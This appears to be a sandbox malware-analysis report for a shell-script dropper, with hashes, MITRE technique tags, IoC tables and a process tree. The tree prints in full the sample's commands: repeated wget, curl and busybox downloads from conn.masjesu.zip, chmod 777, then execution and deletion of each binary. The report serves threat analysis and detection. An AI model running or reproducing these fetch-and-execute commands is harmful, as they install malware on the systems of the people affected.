a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01

Analysis

max time kernel
91s
max time network
92s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
Size 10KB
Sample241027-c8lgbatdpq
SHA256 a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01
MD5 1fa8632f23bf2eb5ae4e459eb2a5cc6c
SHA1 82b77d7ef192e07c64fb2924f35826b601320f62
SHA512 92a0ab8744e2c7c76f94fbb1ee283b0b340f26fc78aba0d07799c08030dfa7eaf9b552de359499c069a889b3de007a7060c7604a274d832e82ba395eb2e08533
SSDEEP 192:RKjiid8vMrUiUSUtUEUmFUo//Cjaiid8R+UiUSUtUEUmFUx:RKjiid8vM09/aWiid8RNy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
868	chmod
966	chmod
994	chmod
1001	chmod
1008	chmod
903	chmod
938	chmod
959	chmod
831	chmod
851	chmod
987	chmod
748	chmod
875	chmod
945	chmod
980	chmod
861	chmod
917	chmod
931	chmod
973	chmod
758	chmod
807	chmod
910	chmod
924	chmod
952	chmod
896	chmod
741	chmod
882	chmod
889	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
920	wget
745	curl
747	busybox
752	curl
764	wget
824	busybox
865	curl
913	wget
921	curl
930	busybox
942	curl
976	wget
997	wget
1000	busybox
864	wget
885	wget
991	curl
951	busybox
810	wget
900	curl
907	curl
970	curl
744	wget
871	wget
895	busybox
928	curl
986	busybox
993	busybox
754	busybox
813	curl
881	busybox
955	wget
983	wget
1007	busybox
874	busybox
941	wget
949	curl
751	wget
848	curl
858	curl
867	busybox
937	busybox
916	busybox
972	busybox
979	busybox
998	curl
948	wget
837	wget
850	busybox
879	curl
899	wget
902	busybox
934	wget
944	busybox
1004	wget
806	busybox
893	curl
909	busybox
857	wget
860	busybox
888	busybox
923	busybox
956	curl
963	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl

/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:739
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - System Network Configuration Discovery
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:763
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - System Network Configuration Discovery
  PID:764
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:809
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - System Network Configuration Discovery
  PID:810
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - System Network Configuration Discovery
  PID:850
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - System Network Configuration Discovery
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - System Network Configuration Discovery
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - System Network Configuration Discovery
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:958
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:965
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
